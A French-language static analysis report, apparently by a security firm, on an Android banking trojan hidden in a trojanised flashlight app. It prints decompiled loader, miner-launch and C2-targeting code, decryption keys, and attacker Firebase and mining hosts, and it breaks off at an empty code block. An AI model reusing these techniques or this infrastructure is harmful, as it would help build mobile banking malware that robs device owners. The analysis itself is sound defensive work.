Analyse du malware bancaire Android BeatBanker/BTMOB
Analyse statique de TV_V_23.apk, malware bancaire Android BeatBanker/BTMOB déguisé en lampe de poche : chaîne en quatre étapes, anti-analyse, attribution et IOC.
Contexte
En mars 2026, l'un de nos clients bancaires nous a contactés après avoir reçu des signalements indiquant que plusieurs de ses clients utilisant l'application mobile avaient été compromis par un échantillon de malware Android. Les victimes décrivaient un comportement cohérent avec un vol d'identifiants et des tentatives de transactions non autorisées provenant de leurs propres appareils, l'application mobile de la banque semblant être au centre de l'attaque. Le client nous a fourni une copie de l'APK suspect, distribué aux victimes sous la forme d'un utilitaire de lampe de poche appelé LumoLight, et nous a demandé de déterminer ce que fait ce malware, de quoi il est capable et comment s'en défendre.
Cet article documente cette analyse. Notre objectif était d'établir l'ensemble des capacités de l'échantillon et, lorsque c'était possible, de l'attribuer à un acteur malveillant connu, afin que les équipes de défense, de surveillance de la fraude et de sensibilisation des clients puissent réagir à partir d'informations exactes. Le travail a été mené sous forme d'analyse purement statique : l'APK et ses payloads par étapes ont été décompressés, déchiffrés et soumis à une rétro-ingénierie sans exécution. Cette approche est délibérée : elle évite tout risque d'interaction en direct avec le C2 qui pourrait alerter l'opérateur, mais elle limite aussi ce que nous avons pu ou non déterminer, ce que nous précisons explicitement plus loin dans le rapport.
Synthèse
TV_V_23.apk est une plateforme de malware bancaire Android à étapes multiples, distribuée sous la forme d'une fausse application de lampe de poche appelée LumoLight. Derrière la façade d'un utilitaire inoffensif, elle déploie une chaîne de chargeurs en quatre étapes qui installe au final un outil d'accès à distance (RAT) complet, un cryptomineur furtif et un moteur de diffusion de phishing en direct, le tout sans exploiter aucune vulnérabilité de l'appareil.
Principaux constats :
-
Capacités. Le payload de la dernière étape donne à un opérateur distant une visibilité totale sur l'appareil infecté, ainsi qu'un contrôle complet : capture d'écran en direct, interaction en temps réel avec l'interface de n'importe quelle application (y compris les applications bancaires), interception des SMS et des OTP, diffusion d'overlays de phishing et exfiltration de fichiers.
-
Le ciblage est configurable à l'exécution, pas codé en dur. L'analyse statique de l'échantillon a confirmé qu'aucune banque précise n'est intégrée à l'APK : les établissements ciblés sont envoyés à tout moment depuis le serveur de commande et contrôle (C2) de l'opérateur, ce qui signifie que n'importe quelle banque peut être ciblée sur l'ensemble du parc infecté au moyen d'un seul message. Une vidéo de preuve de concept publiquement disponible, montrant l'interface C2 côté opérateur, apporte une corroboration indépendante : elle affiche une liste de cibles active, remplie de noms de package des principales applications bancaires mobiles, ce qui confirme que le ciblage des banques est une fonctionnalité réellement utilisée de cette plateforme dans la nature, et non une capacité théorique.
-
Monétisation parallèle. Une étape auxiliaire distincte installe un cryptomineur qui génère des revenus pour l'acteur malveillant, que des identifiants bancaires soient capturés ou non.
-
Attribution. Les indicateurs d'infrastructure et de comportement placent cet échantillon, avec un niveau de confiance élevé, dans le cluster de campagnes BeatBanker / BTMOB rapporté publiquement.
L'essentiel pour le client : tout appareil sur lequel TV_V_23.apk a été installé et exécuté doit être considéré comme entièrement compromis. Une suppression partielle n'est pas fiable, car les payloads en aval s'installent et persistent indépendamment du chargeur d'origine. Et comme le ciblage est contrôlé par l'opérateur plutôt qu'intégré au malware, l'absence de contenu propre à une banque dans cet échantillon ne signifie pas que la menace pesant sur les clients s'est dissipée : la même infrastructure peut changer de cibles à tout moment.
Identification de l'échantillon
L'échantillon analysé dans ce rapport est un unique package d'application Android. Ses métadonnées d'identification sont résumées ci-dessous.
| Champ | Valeur |
|---|---|
| Nom du fichier | TV_V_23.apk |
| Package visible | com.bitmavrick.lumolight |
| SHA-256 | 5686a80c1e66c468cbc36fab816f8fa2a28538beddcc1f9846a1c1d6aaa2855c |
| MD5 | 6160d680280c07af0cbee782f423be2f |
| Image de marque visible | LumoLight (utilitaire de lampe de poche / paramètres rapides) |
| Objectif réel | Chargeur Android à étapes multiples, RAT, dropper de mineur |
| Association à une campagne | BeatBanker / BTMOB (confiance élevée) |
Comment l'échantillon a été distribué. L'APK est parvenu aux victimes par ingénierie sociale ; le vecteur de livraison précis est hors du périmètre de ce rapport. Ce qui est directement pertinent, c'est le choix du déguisement : une lampe de poche ou un utilitaire de paramètres rapides appartient à une catégorie d'applications peu scrutée, que les utilisateurs installent souvent en sideloading sans examiner attentivement les permissions, ce qui en faisait une enveloppe extérieure idéale pour un chargeur malveillant.
Signaux d'alerte lors du tri initial. Avant toute rétro-ingénierie approfondie, trois observations de surface ont suffi à confirmer que l'échantillon méritait une analyse complète :
-
Application open source trojanisée. Le package com.bitmavrick.lumolight est un fork trojanisé du projet public de lampe de poche BitMavrick/Lumolight : l'URL du dépôt amont est d'ailleurs toujours intégrée à l'APK externe. L'attaquant n'a pas fabriqué une fausse application de toutes pièces ; il a pris la base de code légitime fonctionnelle, conservé son image de marque et sa fonction de lampe de poche, et y a injecté une sous-classe Application malveillante, un chargeur natif et une activité exclusivement native. Comme l'application installée se comporte réellement comme une lampe de poche (l'interface d'origine de luminosité et de flash et le service de tuile des paramètres rapides sont tous deux toujours présents et fonctionnels), la vérification instinctive de la victime (« cette application fait-elle ce qu'elle annonce ? ») renvoie une réponse rassurante, et les soupçons s'arrêtent là.
-
Ensemble de permissions incohérent pour une lampe de poche. Le manifeste demande REQUEST_INSTALL_PACKAGES, QUERY_ALL_PACKAGES et RECEIVE_BOOT_COMPLETED, et déclare des composants Firebase Cloud Messaging. Un utilitaire de lampe de poche n'a aucune raison légitime d'installer d'autres applications, d'énumérer toutes les applications de l'appareil, de survivre aux redémarrages ou de maintenir un canal de notifications push. N'importe laquelle de ces permissions, prise seule, serait déjà notable ; ensemble, elles caractérisent un chargeur, pas un utilitaire.
-
Contenu suspect du répertoire des assets. Le répertoire assets/ contenait des blobs binaires à forte entropie, avec des noms de fichiers obfusqués, une structure typique de la mise en place par étapes de payloads chiffrés plutôt que de ressources d'application normales (images, polices, localisations).
Prises ensemble, ces trois observations ont fait passer l'analyse de la question « est-ce malveillant ? » à la question « quel type de malveillance, et à quelle échelle ? », à laquelle répond le reste de ce rapport.
Étape 1 : la première rencontre de la victime, application leurre et bootstrap natif
Application hôte open source trojanisée.
L'APK externe est construit autour du projet public de lampe de poche BitMavrick/Lumolight. La base de code légitime est intacte et fonctionnelle : FlashTileActivity, LumolightTileService et le MainActivity de lancement fonctionnent toujours comme prévu.

Figure 1 : l'interface de LumoLight telle que la voit la victime : une application de lampe de poche fonctionnelle qui dissimule le malware s'exécutant dans le même processus.
L'attaquant a injecté quatre composants malveillants par-dessus :
-
com.bitmavrick.lumolight.LumolightApp : une sous-classe Application injectée qui fait appel au bootstrap malveillant lors de l'initialisation du processus.
-
com.bitmavrick.lumolight.IonisedConvincing : le chargeur de la bibliothèque native libmetaspermousdevitrifiednoiseful.so.
-
com.bitmavrick.lumolight.UnablyBrattain : une activité exclusivement native.
-
Une modification du MainActivity de lancement qui invoque startActivity(new Intent(this, UnablyBrattain.class)) immédiatement après l'initialisation de l'interface normale de l'application, transmettant le contrôle à l'activité malveillante exclusivement native sans interrompre l'expérience de lampe de poche visible par l'utilisateur.
Des permissions malveillantes et des composants cachés com.yqzg.parrnell ont été ajoutés au manifeste AndroidManifest.xml. Comme l'application fonctionne réellement comme une lampe de poche, la vérification instinctive de la victime renvoie une réponse rassurante.
Détournement du cycle de vie de l'application par une bibliothèque native
Les méthodes attachBaseContext et onCreate de com.bitmavrick.lumolight.LumolightApp, qui sont les premiers points d'entrée du cycle de vie, appelés avant l'affichage de toute interface, sont déclarées natives et implémentées dans libmetaspermousdevitrifiednoiseful.so. Android confie le contrôle aux implémentations natives plutôt qu'à Java. Le nom obfusqué de la bibliothèque constitue lui-même un signal d'anti-analyse mineur, choisi pour éviter la correspondance par mots-clés avec des noms de bibliothèques connues comme malveillantes.
Le même schéma réapparaît à l'étape 3. L'APK auxiliaire (com.sywo.chelingas, étape 3) utilise un schéma de transfert natif identique, mais, n'ayant aucun code légitime à préserver, sa sous-classe Application ne contient rien d'autre qu'un appel à System.loadLibrary et deux déclarations de méthodes natives :
// APK: com.sywo.chelingas (Stage 3 helper)
// JADX source: sources/pjOZQC/c6xmV4.java
//
// Shown here as evidence that Stage 1's native-handoff architecture
// is a deliberate, reused pattern across the malware's stages — not a
// one-off. The helper's Application class contains no Java logic;
// both lifecycle methods are declared 'native' and implemented
// entirely inside liblixhokfsmav.so, invisible to JADX.
public class c6xmV4 extends Application {
public Object eeHugaithaikuu9u = null;
static {
System.loadLibrary("lixhokfsmav");
}
@Override
public native void attachBaseContext(Context context);
@Override
public native void onCreate();
}
À l'étape 1, le transfert est injecté dans une hiérarchie de classes légitime ; à l'étape 3, il s'agit d'une coquille conçue sur mesure. Même intention : pousser la logique critique dans du code natif, hors de portée de l'analyse statique de la couche Java.
Mise en place par étapes de payloads chiffrés
Le bootstrap natif déchiffre deux blobs du répertoire assets/ de l'APK. Les deux routines de chiffrement résident dans la bibliothèque native et ne sont exposées dans aucune classe Java lisible ; les détails ci-dessous ont été récupérés à partir des artefacts de payloads issus des étapes suivantes, et non du code source de l'APK externe.
| Chemin de l'asset | Chiffrement | Produit |
|---|---|---|
| vyh3u73x8mp5elng | XOR répété | DEX de bootstrap (stage1_bootstrap_loader.dex, SHA-256 58e39152...) |
| s3h8m8q8kb38a4iy/ksqzvp1v | AES-CBC/PKCS5Padding, key = SHA-1(basename)[:16], zero IV | APK orchestrateur caché (com.yqzg.parrnell) |
Le DEX de bootstrap charge l'orchestrateur déchiffré en mémoire par manipulation réflexive du tableau dexElements du class-loader parent (sur les niveaux d'API récents, makeInMemoryDexElements), le même schéma que celui directement confirmé dans l'auxiliaire de l'étape 3. L'APK orchestrateur n'est jamais écrit sur le disque sous une forme analysable par un scanner.
Chaque point d'entrée dont dépend un flux de travail Android classique est soit remplacé par du code légitime, soit déplacé dans du code natif. Quiconque n'est pas prêt à faire de la rétro-ingénierie ARM regarde la mauvaise couche.
Étape 2 : l'orchestrateur caché, mise en place de la persistance et du contrôle via le cloud
Connectivité cloud via Firebase Cloud Messaging
L'orchestrateur s'enregistre auprès d'un projet Firebase contrôlé par l'acteur malveillant. La configuration est intégrée à l'étape 2 sous forme obfusquée : com.yqzg.parrnell.App construit un objet d'options JQHWyjC66EcSxmVdbe contenant ApplicationId, ApiKey, gcmSenderId, storageBucket et projectId, et uvddntLtzpPJk8Xjs5.java l'utilise pour initialiser l'application Firebase par défaut à l'exécution. La même configuration apparaît également en clair dans le DEX auxiliaire final récupéré (étape 3) ; les deux étapes la portent de manière indépendante.
| Champ | Valeur |
|---|---|
| Firebase App ID | 1:39848184100:android:c44d4f602ecf40683bcbb1 |
| Firebase API Key | AIzaSyDDRPszQIVKnbIBw9nZuuhferi4-I0xwXU |
| Firebase Sender ID | 39848184100 |
| Firebase Project | waking-21b04 |
| Firebase Bucket | waking-21b04.firebasestorage.app |
| Hôte de télémétrie | https://aptabase.jesfeoqrj3.xyz:8443 |
Firebase Cloud Messaging (FCM) est un service Google légitime utilisé par les applications grand public pour envoyer des notifications push. En utilisant FCM comme canal de commande, l'opérateur obtient simultanément trois avantages :
-
Le trafic se fond dans la masse. Les messages FCM transitent par l'infrastructure de Google et apparaissent dans les journaux réseau comme du trafic de notification ordinaire, ce qui les rend presque indiscernables du comportement légitime d'une application sans inspection au niveau du payload.
-
Livraison fiable vers les appareils en arrière-plan ou en veille. Android délivre les pushs FCM même lorsque l'application n'est pas en cours d'exécution, ce qui permet à l'opérateur de réveiller les appareils infectés à la demande.
-
Aucun domaine contrôlé par l'opérateur n'est nécessaire pour le chemin de réveil principal. L'appareil infecté contacte fcm.googleapis.com, et non l'infrastructure de l'attaquant, ce qui signifie que de simples défenses par liste de blocage de domaines en périmètre ne suffisent pas à couper ce canal.
Pour les équipes SOC et de détection de la fraude du client, voici le point actionnable : un C2 basé sur FCM ne peut pas être bloqué à la périphérie du réseau sans casser des applications légitimes. La détection doit se faire sur le terminal, à partir de signaux comportementaux (par exemple, des applications avec un enregistrement FCM inattendu, des pushs FCM reçus par des packages sans notification visible par l'utilisateur), et non par un filtrage au niveau réseau.
Persistance
Une fois l'enregistrement FCM établi, l'orchestrateur demande une exemption d'optimisation de la batterie via l'intent Android standard android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS avec un URI de données package: (confirmé dans com.yqzg.parrnell.MainActivity, ligne 356). La permission est accordée par une boîte de dialogue système standard. Une fois accordée, Android cesse de tuer de manière agressive les processus d'arrière-plan de l'orchestrateur.
Déploiement des payloads en aval
L'orchestrateur transporte un lot d'installation dans son propre répertoire assets/, contenant le moteur d'installation et des bibliothèques natives, mais pas les APK en aval eux-mêmes :
| Asset | Rôle |
|---|---|
| stage2_installer_bundle.zip → plectrumsplanchnomegalia (~4.6 MB DEX) | Le moteur d'installation : un gros DEX embarqué qui pilote l'installation en aval |
| stage2_installer_bundle.zip → arm64-v8a / armeabi-v7a | Bibliothèques natives adaptées à l'ABI, fournies avec l'installateur |
| stage2_installer_assets.zip | Ressources d'interface pour les faux écrans de configuration et de mise à jour, ainsi que output8.mp3 (utilisé plus tard par l'auxiliaire de l'étape 3 pour son mécanisme de keepalive par boucle multimédia) |
Les APK en aval sont stockés localement sous forme chiffrée dans les assets de l'APK externe et transmis à l'installateur, et non récupérés en direct depuis le C2 comme chemin principal. com.yqzg.parrnell.JTcvL0wHeDQ3LLur9W (ligne 24) déchiffre et extrait un conteneur local (xylograph), en charge le moteur d'installation et sélectionne des blobs de configuration locaux (franker / ununanimouslynasoscope) qui désignent les assets de payloads préparés. Les configurations récupérées les associent à des ensembles d'assets concrets :
- connector.predictor.messenger ← assets picaroons, pellagroid, gaitskell (les trois composants de l'APK fractionné).
- com.sywo.chelingas ← asset nonsignatoriesyferre.
Un téléchargeur HTTP distinct existe dans com.yqzg.parrnell.JoDPj5ySc7Q56tJgl3 comme canal alternatif ou complémentaire, mais il n'est pas le mécanisme de livraison principal dans cet échantillon.
Couverture d'ingénierie sociale pendant l'installation
L'orchestrateur n'installe pas les payloads en aval en silence. Il présente de faux écrans de configuration et de mise à jour qui occupent l'attention de la victime pendant l'installation et banalisent les demandes de permissions que l'étape 4 fera ensuite : accessibilité, capture d'écran, lecture des SMS. Un utilisateur qui vient de voir se terminer ce qui ressemble à une « mise à jour système » légitime est prédisposé à accepter des invites à privilèges élevés.

Figure 2 : écran de fausse mise à jour : l'interface d'ingénierie sociale que l'orchestrateur présente à la victime pendant que les payloads en aval sont installés en arrière-plan.
L'étape 2 est le moment où le malware passe de « installé » à « contrôlable, persistant et prêt à déployer les vrais outils ». Trois caractéristiques le rendent difficile à perturber après coup : le C2 FCM ne peut pas être bloqué à la périphérie du réseau ; l'exemption d'optimisation de la batterie est accordée par une boîte de dialogue légitime, non corrigée ; et les payloads en aval s'installent en tant qu'APK indépendants, de sorte que supprimer l'orchestrateur ne les supprime pas.
Étape 3 : le payload auxiliaire, moteur de keepalive et livraison du mineur
La même architecture de transfert natif qu'à l'étape 1
L'APK auxiliaire (com.sywo.chelingas) utilise un schéma identique : une sous-classe Application dont les méthodes de cycle de vie résident dans une bibliothèque native (liblixhokfsmav.so), sans logique Java significative. C'est le c6xmV4.java présenté à l'étape 1, ce qui confirme que ce schéma est un choix d'ingénierie réutilisé plutôt que la caractéristique d'un seul composant.
Chargement de DEX en mémoire en deux temps
L'auxiliaire prépare son payload final via un DEX de bootstrap intermédiaire :
-
La bibliothèque native déchiffre par XOR l'asset 0DvdX3nFjtHAUApk avec la clé ASCII répétée de 64 caractères
8HqIe8TtMjtOpehmPZrAhrVbnIjZhkx3tcR720hfXQYeD7XQzeuhpdeTQ3SuM3Ap(utilisée directement comme séquence d'octets, et non comme passphrase PBKDF2), produisant un DEX de bootstrap intermédiaire (SHA-256 7583ae8a...). -
La classe com.example.virusscanbypassbootstrapper.DexLoader du DEX de bootstrap, dont le nom décrit lui-même l'objectif, déchiffre en AES le second asset 4qZE2YiJUkIj2a2a/RioFpQvI avec AES/CBC/PKCS5Padding, au moyen d'une clé de 16 octets dérivée de SHA-1("RioFpQvI")[:16] (basename du chemin) et d'un IV entièrement nul, produisant une archive ZIP.
-
Le ZIP contient le DEX auxiliaire final (classes.dex, SHA-256 79aba8d3fad2...), chargé directement en mémoire par modification du class-loader (DexClassLoader pour API < 26, makeInMemoryDexElements pour API ≥ 29, combinés à une manipulation réflexive du tableau dexElements du class-loader parent).
Toute la chaîne s'exécute sans écrire le DEX final à un emplacement prévisible du disque, ce qui déjoue les scanners qui recherchent des fichiers APK ou DEX dans les chemins de stockage standard des applications.
Le DEX auxiliaire final fait deux choses : la persistance via un service de premier plan de fausse mise à jour système, et le cryptomining via un binaire natif téléchargé.
Persistance via une fausse notification de mise à jour système
L'auxiliaire s'enregistre comme service de premier plan Android, un mécanisme légitime qui permet une exécution indéfinie en arrière-plan en échange de l'affichage d'une notification. La notification est déguisée en message système :
| Champ | Valeur |
|---|---|
| Titre de la notification | Update Now |
| Corps de la notification | The system is being updated, please keep the phone on. |
La formulation joue un vrai rôle. Les utilisateurs sont culturellement conditionnés à ne pas interrompre les mises à jour système : en fermer une semble risqué, et « please keep the phone on » décourage les deux actions (balayer la notification, éteindre l'appareil) qui menaceraient le plus directement la persistance.
Derrière la notification, le service maintient deux mécanismes de keepalive supplémentaires : il lit en boucle output8.mp3 (livré via le ZIP d'assets de l'installateur de l'étape 2), ce qui fait classer le processus comme lisant activement un média et relève sa priorité dans le cycle de vie, et il réacquiert périodiquement des wake locks Android pour empêcher le CPU de se mettre en veille. Combinés, ces mécanismes font qu'Android ne terminera pas proactivement le processus, quels que soient l'état de l'écran, l'inactivité ou la pression sur la mémoire.
Déploiement du cryptomineur
En parallèle de la persistance, l'auxiliaire télécharge depuis l'infrastructure de l'opérateur un binaire de cryptomineur chiffré, le déchiffre sur l'appareil, l'écrit dans le stockage local et l'exécute comme processus enfant natif. Le code récupéré ci-dessous montre le lancement du processus du mineur et la surveillance de sa sortie standard pour en extraire des métriques de performance :
// APK: com.sywo.chelingas — recovered final helper DEX
// JADX source: sources/com/google/worker/work/a.java (inner class b.run(), lines 36–62)
//
// After writing the decrypted miner binary to disk and making it executable,
// the helper launches it as a child process and monitors its stdout in a
// background thread. Miner output lines are parsed for performance metrics.
// The method k() handles cleanup if the process terminates unexpectedly.
public void run() {
try {
String[] strArrG = a.this.g(); // builds argv: [-o pool, -k key, --tls, --no-color]
File fileF = a.this.f(); // returns the dropped worker executable path
a aVar = a.this;
aVar.a = aVar.i(fileF, strArrG); // launches the miner process via ProcessBuilder
Scanner scanner = new Scanner(a.this.a.getInputStream());
while (!Thread.interrupted() && scanner.hasNextLine()) {
String strNextLine = scanner.nextLine();
t.a(strNextLine); // telemetry: reports mining output upstream
Log.v(..., strNextLine); // raw miner output logged at verbose level
}
} catch (Exception e) {
Log.e(..., "worker error: " + e);
}
a.this.k(); // cleanup / restart on termination
}
Les options de ligne de commande transmises au mineur (-o, -k, --tls, --no-color) sont cohérentes avec la CLI standard de XMRig, ce qui suggère fortement que le mineur est XMRig ou un fork proche, fonctionnant contre un pool compatible Monero.
L'ensemble de l'infrastructure du mineur récupérée :
| Composant | Valeur |
|---|---|
| Noms des binaires du mineur | libmine-arm64.so / libmine-arm32.so |
| Téléchargeur du mineur | https://accessor.fud2026.com/, https://accessor.fud2026.org/ |
| Pool de minage | pool.fud2026.com, pool.fud2026.com:8443 |
| Proxy du pool de minage | pool-proxy.fud2026.com:8443 |
| Hôte de télémétrie | https://aptabase.khwdji319.xyz:8443 |
| Clé d'application de télémétrie | A-SH-2776504097 |
Le cluster de domaines fud2026.* n'est pas seulement une infrastructure opérationnelle : il figure aussi dans les indicateurs rapportés publiquement pour le cluster de la campagne BeatBanker (voir Attribution). Le composant de cryptomining fait partie intégrante de l'opération de l'acteur malveillant, et non d'un module complémentaire tiers.
Deux implications pour le client : contrairement au payload de l'opérateur, le cryptomineur a des symptômes physiques inévitables (déchargement accru de la batterie, dégagement de chaleur, utilisation du CPU au repos). Les signalements de clients faisant état d'une batterie qui se vide sans raison ou d'une surchauffe sur des appareils par ailleurs sains peuvent donc servir de signal de tri secondaire, indépendant des indicateurs de fraude bancaire. Et comme le minage génère des revenus pour chaque appareil infecté, que la fraude bancaire réussisse ou non, l'opérateur n'a aucun intérêt à sélectionner des cibles de grande valeur : une empreinte d'infection plus large est en soi rentable, ce qui justifie un investissement soutenu dans la campagne.
Étape 4 : le payload de l'opérateur, abus de l'accessibilité, capture d'écran et C2 en direct
L'étape 4 est le composant destiné à l'opérateur humain. Là où l'étape 3 s'exécute en silence pour générer des revenus passifs, l'étape 4 est une plateforme d'accès à distance interactive : elle observe la victime en temps réel, attend les moments de grande valeur (application bancaire au premier plan, invite de saisie d'identifiants, arrivée d'un OTP) et permet à l'opérateur de voir, d'intercepter et de manipuler ces moments au fur et à mesure. Toutes ses capacités reposent sur des permissions accordées par la victime, et non sur un exploit technique.
Installation, persistance et escalade de permissions
Le payload de l'opérateur est livré sous la forme d'un ensemble d'APK fractionnés : un APK de base, un APK DEX fractionné par code et un APK de ressources fractionné. C'est le format de distribution utilisé par les applications publiées via le Google Play Store, ce qui ajoute une couche de légitimité apparente et rend le payload plus difficile à extraire comme artefact unique.
Persistance au démarrage. Le manifeste déclare un BootReceiver (connector.predictor.messenger.BootReceiver) enregistré pour BOOT_COMPLETED, QUICKBOOT_POWERON, com.htc.intent.action.QUICKBOOT_POWERON, REBOOT et ACTION_SHUTDOWN. Au démarrage, le récepteur lance le service de premier plan avant que l'utilisateur ne déverrouille l'écran : le malware est en cours d'exécution et connecté au C2 au moment où l'écran de verrouillage apparaît.
Manifeste des permissions. Le payload demande un large ensemble de permissions, reflétant la boîte à outils complète de l'opérateur :
| Permission | Usage opérationnel |
|---|---|
| READ_SMS | Interception des OTP, contournement de la 2FA bancaire |
| CAMERA | Accès à la caméra de l'appareil |
| MANAGE_EXTERNAL_STORAGE | Recherche et exfiltration de fichiers |
| WRITE_EXTERNAL_STORAGE (maxSdk=29) | Écriture de fichiers sur les anciennes versions d'Android |
| READ_EXTERNAL_STORAGE (maxSdk=32) | Lecture de fichiers sur les anciennes versions d'Android |
| REQUEST_INSTALL_PACKAGES | Installer discrètement des payloads supplémentaires |
| REQUEST_DELETE_PACKAGES | Supprimer des applications concurrentes ou effacer ses traces |
| QUERY_ALL_PACKAGES | Énumérer les applications installées pour identifier des cibles |
| FOREGROUND_SERVICE | Exécuter des services persistants en arrière-plan |
| FOREGROUND_SERVICE_MEDIA_PROJECTION | Service de capture d'écran persistant |
| FOREGROUND_SERVICE_DATA_SYNC | Service de synchronisation de données persistant |
| FOREGROUND_SERVICE_SPECIAL_USE | Type de service de premier plan réservé |
| FOREGROUND_SERVICE_SYSTEM_EXEMPTED | Classe de service de premier plan exemptée par le système |
| POST_NOTIFICATIONS | Afficher des notifications (requis sur Android 13+) |
| VIBRATE | Vibration de l'appareil (en appui aux écrans de verrouillage de phishing) |
| FLASHLIGHT | Contrôle du flash de l'appareil photo |
| INTERNET | Communication réseau |
| ACCESS_WIFI_STATE / ACCESS_NETWORK_STATE | Comportement adapté au réseau |
| WAKE_LOCK | Maintenir le CPU actif quel que soit l'état de l'écran |
| REQUEST_IGNORE_BATTERY_OPTIMIZATIONS | Empêcher l'OS de tuer les services d'arrière-plan |
| USE_EXACT_ALARM / SET_ALARM | Planifier des événements de réveil précis |
| DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION (custom) | Protéger les récepteurs internes contre une invocation externe |
Les deux permissions décisives sur le plan opérationnel, le service d'accessibilité et la capture d'écran, ne sont pas accordées par le seul manifeste : toutes deux exigent que l'utilisateur les active via l'interface au niveau du système. Le kit de leurres existe pour les obtenir.
Le kit de leurres : l'ingénierie sociale comme vecteur d'obtention de permissions
Le payload embarque un ensemble de faux écrans HTML, stockés chiffrés dans l'APK et décodés à l'exécution :
- Faux guides des paramètres d'accessibilité (acs_mi, acs_sm, acs_els) : guident la victime pour activer le service d'accessibilité malveillant, présenté comme une configuration obligatoire.
- Faux écrans « VPN requis » (vpn_required) : créent un sentiment d'urgence et justifient un accès par ailleurs suspect.
- Faux flux de mise à jour et d'initialisation (up_require, launcher, s1s2s3s4) : réduisent la méfiance pendant l'installation des composants en aval.
- Capture d'identifiants (1.decoded) : formulaires génériques imitant des services de confiance.
- Écrans de verrouillage par code PIN et mot de passe (2.decoded, 3.decoded) : interceptent les identifiants de déverrouillage de l'appareil ou diffusent des flux de phishing.

Figure 3 : faux écran d'activation de l'accessibilité : la page d'ingénierie sociale présentée à la victime pour la pousser à activer le service d'accessibilité malveillant.

Figure 4 : fausse mise à jour d'application / VPN requis / flux de chargement : écrans de leurre secondaires servant à maintenir la confiance de la victime et à créer des prétextes pour obtenir des permissions durables.
Il s'agit d'un flux de travail, et non d'une invite unique. Le malware ne demande pas tout d'un coup : il gagne la confiance grâce à des écrans de configuration d'apparence légitime, demande l'accessibilité dans un contexte où l'accorder paraît naturel, puis se sert de l'accessibilité pour faciliter les demandes suivantes. Une victime qui refuserait une invite d'accessibilité directe est bien plus susceptible de l'accorder comme quatrième étape d'un flux de mise à jour de routine.
Ce que l'abus de l'accessibilité donne réellement à l'opérateur
Dès que la victime active le service d'accessibilité malveillant, le rapport de force sur l'appareil bascule. L'API d'accessibilité d'Android a été conçue pour des usages légitimes (lecteurs d'écran, outils d'accès par commutateur), mais les capacités qu'elle expose (lire n'importe quel élément d'interface, simuler n'importe quel toucher, intercepter les événements de touches) sont exactement ce dont un opérateur distant a besoin. La configuration du service récupérée demande la surface maximale :
| Capacité | Valeur |
|---|---|
| Capture d'événements | typeAllMask (tous les événements d'interface de l'appareil) |
| Filtre de package | Absent (sans restriction : surveille toutes les applications de la même manière) |
| Peut récupérer le contenu des fenêtres | true |
| Peut effectuer des gestes | true |
| Peut prendre des captures d'écran | true |
| Peut demander le filtrage des événements de touches | true |
| Flags | flagRetrieveInteractiveWindows, flagReportViewIds, flagRequestEnhancedWebAccessibility, flagRequestTouchExplorationMode, flagIncludeNotImportantViews, flagDefault |
(Source : res/xml/aujijdshciyxu.xml.)
Il s'agit d'un substrat complet de surveillance et de contrôle à distance de l'appareil. L'opérateur peut lire chaque élément d'interface, appuyer sur n'importe quel bouton, soumettre n'importe quel formulaire, intercepter les frappes, prendre des captures d'écran, et faire tout cela dans n'importe quelle application, y compris les applications bancaires durcies.
Logique de ciblage
Le service surveille les transitions de l'application au premier plan et compare l'application nouvellement active à une liste de cibles :
// APK: connector.predictor.messenger — split DEX
// JADX source: connector/predictor/messenger/posvvhbqnqa.java
//
// Note: Analytical abstraction — obfuscated rf0.a() calls replaced with decoded values.
//
// On every foreground app transition, the accessibility service checks two conditions:
// (1) tracking is enabled in shared preferences (re.e0), and
// (2) the runtime target map (s.i / s.j / s.k) has at least one entry.
// If both are true, it iterates the target map comparing the current
// foreground package name and browser URL against stored target values.
// When mode 'G' (phishing/monitoring activation) matches, t() is called
// to trigger the next stage of the attack against that specific app.
if (((r00.c(getApplicationContext(), re.e0, false) && s.h.size() > 0)
|| r00.c(getApplicationContext(), /* ... */, false)) && r9 != 0) {
for (Map.Entry entry : s.i.entrySet()) {
String str17 = (String) entry.getKey();
str10 = (String) entry.getValue(); // ltrk: URL/domain tracker value
str11 = (String) s.j.get(str17); // itrk: package name to match
str12 = (String) s.k.get(str17); // ityp: activation mode
if (s.B0(str16.toLowerCase(), str10)
|| (str11 != null && str11.toLowerCase().equals(str15))) {
if (str12.equals(/* "G" */)) { // mode 'G' = active phishing
if (!a0()) {
t(getApplicationContext(), this); // trigger phishing/interaction flow
}
}
// else-branch: passive monitoring mode — captures the foreground app's
// 144×144 icon, encodes it as PNG, and schedules a Timer task (new e(...))
// after an 800ms delay to report the foreground-app transition upstream.
}
}
}
Au moins deux modes d'activation existent
Le mode G déclenche le phishing actif. La branche else correspond à un mode de surveillance passive : à chaque transition de l'application au premier plan (sur n'importe quelle application, pas seulement les cibles de phishing), le service capture l'icône 144×144 de l'application au format PNG et programme un rapport différé. L'opérateur reçoit un flux continu des applications utilisées par la victime, indépendamment de la liste de phishing active.
La table des cibles est alimentée à l'exécution, pas codée en dur
Aucune liste statique de noms de package d'applications bancaires n'a été retrouvée nulle part dans l'échantillon. Les tables s.i, s.j, s.k sont vides jusqu'à ce que l'opérateur y pousse des définitions de cibles. Le répartiteur de commandes C2 récupéré (d0.java, commande de cas 4) montre le mécanisme :
// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/d0.java (L1271–1284)
//
// C2 command case 4: the operator sends a JSON object containing
// ntrk (tracker ID), ltrk (URL/domain), itrk (package name), and ityp (mode).
// The connector immediately inserts these values into the live target maps,
// enabling real-time retargeting to any application without requiring
// a new APK or any action from the victim.
String strOptString5 = jSONObject.optString(/* "ntrk" */, "");
String strOptString6 = jSONObject.optString(/* "ltrk" */, "");
String strOptString7 = jSONObject.optString(/* "itrk" */, "");
String strOptString8 = jSONObject.optString(/* "ityp" */, "");
if (strOptString8.equals(/* "G" */)) {
posvvhbqnqa.x.add(strOptString7.toLowerCase()); // add package to active watch list
}
s.K(strOptString5, strOptString6); // store tracker value
s.H(strOptString5, strOptString7); // store package name
s.I(strOptString5); // initialize tracking state
s.J(strOptString5, strOptString8); // store activation mode
r00.f(d0.h, re.e0, true); // set tracking_enabled = true in shared prefs
Un second chemin, parallèle, existe via Firebase : le gestionnaire de démarrage du service (hhmpmwbx.java) lit un champ TRK dans le payload de tâche Firebase, décode chaque entrée en Base64 et alimente les mêmes structures de cibles. Deux canaux de livraison indépendants : interactif (WebSocket) et diffusion (FCM, qui peut atteindre l'ensemble du parc d'un seul coup) :
// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/hhmpmwbx.java
//
